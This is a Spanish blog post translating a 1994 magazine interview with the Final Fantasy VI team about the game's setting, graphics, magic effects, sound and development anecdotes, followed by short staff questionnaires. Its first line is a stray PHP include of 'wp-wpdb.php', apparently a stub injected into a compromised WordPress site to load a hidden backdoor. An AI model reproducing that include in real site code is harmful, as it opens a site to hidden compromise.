if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Final Fantasy VI: Entrevista de 1994 al equipo de desarrollo (I) – La Fortaleza de LeChuck

Final Fantasy VI: Entrevista de 1994 al equipo de desarrollo (I)

¿Qué os puedo decir de Final Fantasy VI que no haya comentado ya? Pues que posiblemente sea el juego más profundo y con los mejores personajes que ha visto la saga. Un título brillante que en occidente fue maltratado hasta que, años después, pasó a ser reconocido como el maravilloso juego que es. En esta entrevista descubriréis los secretos de desarrollo detrás de Final Fantasy VI.

La gracia de leer estas viejas entrevistas es que los desarrolladores tienen más frescas las anécdotas y recuerdan mejor el ambiente que corría por las oficinas en aquella época. Las siguientes entrevistas fueron publicadas en las revistas Hippon Super y Game-on. Las he traducido del inglés desde la estupenda web Shmuplations. Sin más preámbulos, disfrutad:

  • Akiyoshi Oota – Coordinador
  • Yoshihiko Maegawa – Coordinador de campo
  • Yasuyuki Hasebe – Programador de combates
  • Tetsuya Takahashi – Director de gráficos
  • Kazuko Shibuya – Director de gráficos/gráficos de personajes
  • Hitoshi Sasaki – Gráficos de monstruos
  • Tomoe Inazawa – Gráficos de campo
  • Kaori Tanaka – Gráficos de campo/Diseño de personajes
  • Hirokatsu Sasaki – Diseñador de efectos mágicos
  • Eiji Nakamura – Ingeniero de sonido
De izquierda a derecha (arriba): Yoshihiko Maegawa, Akiyoshi Oota, Tomoe Inazawa; (Abajo) Eiji Nakamura, Yasuyuki Hasebe y Kaori Tanaka.

Entiendo que FFVI rompe con el clásico mundo de fantasía medieval de los últimos Final Fantasy para dar paso a una nueva ambientación con mechas.

Takahashi: Uno de nuestros miembros realmente quería hacer algo relacionado con una atmósfera de revolución industrial, y eso se convirtió en la base: un mundo de armaduras «magi-teki», metal y maquinaria.

¿Cómo se hizo FFVI?

Takahashi: Lo primero que hicimos fue recoger cada idea individual, y luego empezamos con el desarrollo real. Creo que tener un documento con un plan maestro donde todo está escrito es sin duda un enfoque válido para el desarrollo de juegos, pero así no es como funcionan las cosas en Square. Nosotros desarrollamos juegos de una manera continua, mezclando las ideas de cada uno y analizándolas.

Entiendo que para la mayoría de personas que formaron parte de FFVI, esta fue su primera vez trabajando en un juego de la saga. ¿Cómo fue cambiar la perspectiva de «jugador» a «desarrollador»?

Hasebe: Fue un gran cambio. Jugar a estos juegos es muy divertido, pero cuando te pones a hacerlos tú mismo, rápidamente aprendes lo difícil que es. La presión al ser un juego de «Final Fantasy» es enorme. Todo el mundo tiene las expectativas más altas que tú, y como desarrollador, debes responder. Fue un esfuerzo gigantesco hasta el final, ¡pero luego un día levantabas la vista y te dabas cuenta de que ya estaba hecho!

Maegawa: Sabía que iba a ser difícil antes de empezar, pero no me imaginaba que tanto. Incluso después de terminarlo todo, me siento como si hubiera mucho que no tuvimos la oportunidad de hacer.

Inazawa: Antes de unirme a Square, había estado haciendo gráficos de videojuegos. Final Fantasy era uno de esos juegos que reconocía. Tenía curiosidad acerca de cómo lo estaban haciendo… ¡con este desarrollo experimenté de primera mano los poderes impresionantes del personal de Square!

Nakamura: Antes de unirme a Square, sólo trabajaba a tiempo parcial, así que cuando de repente me pusieron a cargo de los efectos de sonido para FF6, no tenía ni idea de lo que estaba haciendo. Antes de que el proyecto comenzara, me dijeron que no dependiera demasiado de otros juegos, así que estaba realmente perdido. Afortunadamente me salieron algunas ideas al escuchar los sonidos en FFV, pero aún así fue muy difícil.

Inazawa: Los efectos de sonido han estado recibiendo buenas críticas hasta el momento. Son grandiosos.

Nakamura: Gracias.

Tanaka: Este es mi segundo Final Fantasy, así que además de los gráficos, también me puse a trabajar en los mapas y el diálogo de Edgar y Sabin. Pero al ver las líneas que había escrito habladas por los personajes en el juego, me ponía muy nerviosa. (Risas) «Todos los personajes son buenos, excepto Sabin y Edgar»… Tenía mucho miedo de escuchar esas palabras. (Risas)

Oota: Hay una especie de presión silenciosa en cualquier desarrollo de Final Fantasy, como la de que este debe ser el juego más divertido de todos los tiempos.

Sí, eso pasa cuando una saga es tan popular.

Oota: Ese sentimiento también estuvo presente en el desarrollo de FFV, que tuvo que superar a todos los demás RPGs.

¿Cuáles fueron los desafíos a los que te enfrentaste al crear un nuevo Final Fantasy, distinto de los anteriores?

Oota: Bueno, para nuestros sistemas, no usamos ninguno de los datos o rutinas de FFV. Nadie nos dijo que no podíamos, pero todos decidimos que queríamos hacer los nuestros propios. Así que aunque las imágenes pueden parecerse a FFV, todo es completamente nuevo.

Eso es un elemento básico de la serie Final Fantasy, ¿no? Cada juego se ve similar, pero el contenido es muy diferente.

Oota: Creo que es porque el equipo cambia en cada juego. Realmente no se trata de la presión de los fans; más bien, todo el mundo tiene cierto orgullo por no querer hacer lo mismo que los demás. Todos odiamos dormirnos en los laureles, por lo que el siguiente Final Fantasy siempre es algo nuevo.

Inazawa: Hay un montón de sangre tipo B, como se puede ver. (Risas) (Nota: en Japón, la personalidad va relacionada con el tipo de sangre; el B se corresponde con individuos impulsivos, apasionados, optimistas…)

Todo el mundo ha estado hablando de los gráficos en este nuevo Final Fantasy. ¿Había un objetivo específico que teníais en mente para el desarrollo, visualmente?

Shibuya: Hacía tiempo que buscábamos personajes más grandes. Estoy muy feliz por eso.

Sasaki (Hitoshi): El mundo en sí es muy diferente. En nuestros juegos anteriores, las máquinas estaban envueltas en misterio, producto de alguna civilización antigua, desconocida y avanzada. Esta vez toda esa tecnología fue creada por el Imperio Gesthalt, lo cual cambia todo, especialmente los gráficos.

Tanaka: Como no es la típica ambientación de fantasía, al principio tuvimos que pensar con más detenimiento en cada lugar, y asegurarnos de que se sentían realistas de manera correcta.

Inazawa: Sí, tratamos de dar a los mapas una sensación de realismo, como si de verdad la gente viviera allí y habitara esos espacios. Con las mazmorras también, hay algunas variaciones, pero tratamos de hacer que se sientan como lugares reales. Creo que los jugadores notarán la diferencia en comparación con los juegos anteriores.

Más miembros del equipo de FF6. De izquierda a derecha (arriba): Kazuko Shibuya (Directora de gráficos), Hitoshi Sasaki (Gráficos de monstruos); (Abajo) Tetsuya Takahashi (Director de gráficos), Minori Akao (Programador de Música); Hirokatsu Sasaki (Efectos mágicos).

Contadme sobre el sistema de magias.

Sasaki (Hirokatsu): FFV subió el listón con sus efectos impresionantes. Cuando empecé a describir los efectos que quería que los programadores codificaran, ninguno de nosotros sabía realmente lo que estábamos haciendo, por lo que fue principalmente un proceso de prueba y error.

Realmente nos enfocamos mucho en tratar de hacer los efectos más realistas. Nuestro primer paso fue crear la forma general del efecto gráfico en una herramienta de software 3D independiente, luego añadimos una superposición visual a esa forma, y finalmente, una vez que parecía convincente y realista, lo importábamos a Super Famicom Sprite. Dibujar todo a mano también habría estado bien, pero el uso de herramientas 3D nos permitió disponer de luz, sombras y reflejos de una manera que no hubiera sido posible con otro sistema.

Guau, no creo que los gráficos de FFV llegaran tan lejos, ¿verdad?

Sasaki (Hirokatsu): No, no creo que lo hayan hecho.

Inazawa: Oye, ¿quizá no deberías decir eso? (Risas)

Sasaki (Hirokatsu): No lo sé. (Risas)

Tanaka: Los efectos mágicos de FFVI son impresionantes. Especialmente los hechizos más fuertes, son increíbles.

Sasaki (Hirokatsu): Sí, seguimos haciéndolos más llamativos y llamativos, tal vez incluso demasiado…

Oota: Es la inflación. (Risas)

Sasaki (Hirokatsu): Cuando los ves una y otra vez y te acostumbras a ellos, ese factor «guau» inicial desaparece, ¡y sólo quieres seguir añadiendo más y más…!

El sonido también es una parte importante de los efectos mágicos. ¿Hubo momentos en los que los gráficos y el sonido no coincidían?

Nakamura: En realidad no, porque la forma en que creamos los efectos de sonido fue primero mirar las imágenes terminadas y luego tratar de imaginar qué sonaría guay con ellas. Sasaki también recopiló una lista de peticiones para mí, pero conseguir que todo encajara dentro de la limitada memoria que teníamos era un desafío.

El sistema de trabajos de FFV era muy popular, sin embargo, veo que lo habéis eliminado en FFVI.

Takahashi: Esta vez, cada uno de los personajes tienen habilidades distintas, similar al sistema de trabajo, y puedes pensar en sus habilidades fijas como órdenes de trabajo. Creo que las batallas tienen realmente más estrategia que en FFV.

Por cierto, ¿quiénes son vuestros personajes favoritos?

Shibuya: La mía es Celes. También me gusta su personalidad. ¡Es muy popular!

Matsuo: Sí, quiero apoyar a Locke aquí, pero … Voy a tener que ir con Celes también.

Takahashi: Me gustan los hermanos Figaro, Sabin y Edgar. Son muy versátiles.

Sasaki (Hirokatsu): Mog. ¡En realidad es súper fuerte!

Sasaki (Hitoshi): Gau. Parece un poco inútil al principio, pero si pasas tiempo desarrollándolo, es muy bueno.

Takahashi: No hay un solo personaje esta vez, así que eres libre de usar los personajes que te gusten durante el juego, y creo que hace la partida más interesante. A la gente que le guste los luchadores, pueden subir de nivel al experto en artes marciales Sabin, y a la gente que le gusten las niñas (risas), puede utilizar a la joven artista Relm.

¿De qué otras cosas estás orgulloso? ¿y qué te entusiasma especialmente que los jugadores vean?

Oota: El último jefe, creo. ¡No lo mates hasta que veas su gran ataque mágico! En realidad no es algo que quieras que suceda, pero es una pena que lo maten antes de que tenga la oportunidad de usarlo.

Tanaka: El último jefe es realmente bonito. Puede terminar tan cautivado por él que se te olvidará completamente luchar, y acabarás eliminado. (Risas)

Habladme sobre los mapas y escenarios

Inazawa: ¡El fondo del mar está oscuro esta vez!

¿El fondo marino …? (Risas)

Inazawa: El fondo del océano. Me encanta lo oscuro y misterioso que es. (Risas) Hay una escena en FFVI donde se viaja por el fondo del océano a través de la «Serpent Trench»(Ruta Serpentina), pero la perspectiva es diferente de los anteriores juegos. Lo dibujé. (Risas)

¿Por qué lo hiciste oscuro?

Inazawa: Bueno, en realidad, así es el fondo del océano: oscuro e impenetrable. Lo que se ha representado en los juegos anteriores es realmente una imagen más superficial del océano. Estaba pensando en cómo transmitir algo más realista, así que lo hice oscuro. Oscuro y atractivo.

Tanaka: Incluso lo recorrí de nuevo porque me gustó esa escena. En realidad sólo tienes que ir por allí una vez (un camino más corto se abre después), pero volví y tomé el camino largo sólo para verlo otra vez.

Inazawa: Por favor, disfrútalo muchas veces. (Risas)

¿Hubo algún problema de comunicación dentro del equipo?

Oota: Puede parecer un poco extraño, pero todo el mundo es muy directo y franco acerca de compartir sus críticas. No hay ningún problema en venir y decir, «¡Ey, arregla esto!» (Risas)

¿Quieres decir que todo el mundo es muy duro con el otro, o …?

Oota: No, en realidad no. El tono de esas peticiones es más como un desafío, y todo el mundo está dispuesto a prestar atención a la llamada.

¿Entonces tuvisteis reuniones regulares donde todos podían intercambiar sus ideas y opiniones?

Oota: No, sólo al principio. Después de eso, era más como si alguien se sentara detrás de tu silla y te dijera «ey, ¿qué demonios es ese objeto que hiciste? «(Risas)

Tanaka: Tenemos configurada la red de forma adecuada para el correo electrónico a través de nuestros ordenadores, pero sigue siendo más común gritar a alguien por la habitación.

¿Tenéis otros «cuentos desgraciados» de desarrollo?

Inazawa: No está específicamente relacionado con FFVI, pero parece que cada vez que me tomo un momento para dormir, ¡algún mandamás de Square viene por mi escritorio! Y, sin embargo, nadie se pasa cuando estoy trabajando duro… (risas)

Tanaka: Eso es como una regla de desarrollo de juegos. (Risas) Otro dicho que tenemos es «los bugs serán grandes».

Inazawa: No sé si siempre son grandes, pero siempre dan miedo.

Tanaka: Eso es porque los encuentran nuestros jefes siniestros. (Risas)

¿Tenéis alguna historia sobre bugs…?

Oota: Bueno, como de costumbre, justo antes de la fecha límite, hallamos un montón de bugs. Mi jefe se acercó a mi escritorio y dijo: «¡Esto no es bueno! ¡Arréglalo, arréglalo todo!» Tuvimos realmente que luchar.

Inazawa: Como dijo Oota, hacia el final del desarrollo siempre hay bugs y otros problemas, pero también es un momento muy alegre en la oficina. Recuerdo haber oído a Sakaguchi cantar desde el otro lado de la habitación, y cuando lo escuché más de cerca, estaba improvisando algunas líneas del tema de Terra: «Otro buuuggg … ha sido encontradooo…» (risas) Supongo que consiguió el bug «cantante». En ese momento, hay poco que puedas hacer, excepto reír.

Tanaka: Sí, realmente no es gracioso, pero ¿qué más puedes hacer?

¿Alguna vez os habéis quedado atascados en el desarrollo, donde justo habéis perdido las ideas?

Inazawa: Todo el tiempo.

¿Qué hacéis entonces?

Sasaki (Hirokatsu): Cuando estoy atascado, me gusta ir al cine, ver un video, o tal vez ir al parque de atracciones. Consigo mucha inspiración visual saliendo y haciendo cosas así.

Oota: Personalmente me tomo ese momento para tener una buena siesta… Limito mis siestas a sólo esos momentos, por supuesto…

Claro, otra «regla de desarrollo». (Risas) ¡Gracias por vuestro tiempo!

 

BREVE CUESTIONARIO AL EQUIPO:

Yasuyuki Hasebe – Programador de batallas

  • Final Fantasy favorito: FFIII
  • Juego favorito: Saga The Legend of Zelda
  • Mensaje para los lectores: Para aquellos interesados ​​en trabajar desarrollando juegos, es difícil, pero yo recomendaría tratar de hacer tu propio juego.

Akiyoshi Oota – Coordinador

  • Final Fantasy favorito: FFI
  • Juego favorito: Garou Densetsu (Fatal Fury)
  • Mensaje para los lectores: ¡Una vez que lo hayas comprado, asegúrate de jugar hasta el final!

Yoshihiko Maegawa – Coordinador de campo

  • Final Fantasy favorito: FFII
  • Juego favorito: Human Grand Prix
  • Mensaje para los lectores: Hola a todos, probad Human Grand Prix. Es realmente divertido.

Eiji Nakamura – Ingeniero de Sonido

  • Final Fantasy favorito: FFII
  • Juego favorito: Backgammon
  • Mensaje para los lectores: ¡Sube el volumen! El sonido en esta ocasión es de buena calidad.

Tomoe Inazawa – Gráficos de campo

  • Final Fantasy favorito: FFIV
  • Juego favorito: Hanjuku Hero
  • Mensaje para los lectores: ¡No puedo esperar a leer vuestras cartas, así que por favor enviádmelas!

Kaori Tanaka – Gráficos de campo / Diseño de personajes

  • Final Fantasy favorito: FFIII
  • Juego favorito: Garou Densetsu (Fatal Fury), Ogre Battle
  • Mensaje para los lectores: ¡Por favor, enviadme vuestros fanarts de FFVI de Edgar y Sabin!

Hirokatsu Sasaki – Diseñador de efectos mágicos

  • Final Fantasy favorito: FFV
  • Juego favorito: Xevious
  • Mensaje para los lectores: ¡Quiero cartas de fans!
Más gente del equipo de FF6. De izquierda a derecha (arriba): Satoru Tsuji (coordinador de campo), Keita Eito (coordinador de campo), Hitoshi Sasaki (gráficos de monstruos); (Abajo) Yuusuke Naora (gráficos de campo), Takahara Matsuo (gráficos de campo), Kazuhiro Okawa (gráficos de objetos).

Satoru Tsuji – Coordinador de campo

  • Película favorita: Mad Max
  • Comentario: Al principio, pensé que la historia iba a ser desenfadada, pero resultó ser realmente oscura e intensa. ¡Llorarás!

Keita Eito – Coordinador de campo

  • Película favorita: Subway
  • Comentario: Gau y Relm son adorables. Me encanta la escena donde Gau se une al grupo.

Yusuke Naora – Diseñador de gráficos de campo

  • Película favorita: ZOO
  • Comentario: No tengo nada interesante que decir, así que por favor disfrútalo.

Takahara Matsuo – Diseñador de gráficos de campo

  • Película favorita: (No indica)
  • Comentario: La sensación de velocidad que se tiene al volar con la aeronave es increíble. También me gusta la forma en la que vive Gau.

Nobuyuki Ikeda – Diseñador de gráficos de campo

  • Película favorita: Tenkū no Shiro Rapyuta (Studio Ghibli)
  • Comentario: El final es realmente genial. Es largo, otra vez…

Hitoshi Sasaki – Gráficos de monstruos

  • Película favorita: Best Kid
  • Comentario: ¡El monstruo conejo que aparece al principio fue modelado como mi conejo!

Kazuhiro Okawa – Diseñador gráfico de objetos

  • Película favorita: Young Guns
  • Comentario: Me gusta Locke, y cómo puedes robar con él desde el principio. Las escenas con la aeronave son de mis favoritas también.

¿Os ha gustado? Pues aquí tenéis la segunda parte:

Final Fantasy VI: Entrevista de 1994 al equipo de desarrollo (II)

 

Si queréis disfrutar de más entrevistas como esta, aquí tenéis unas muy interesantes.

Fuente.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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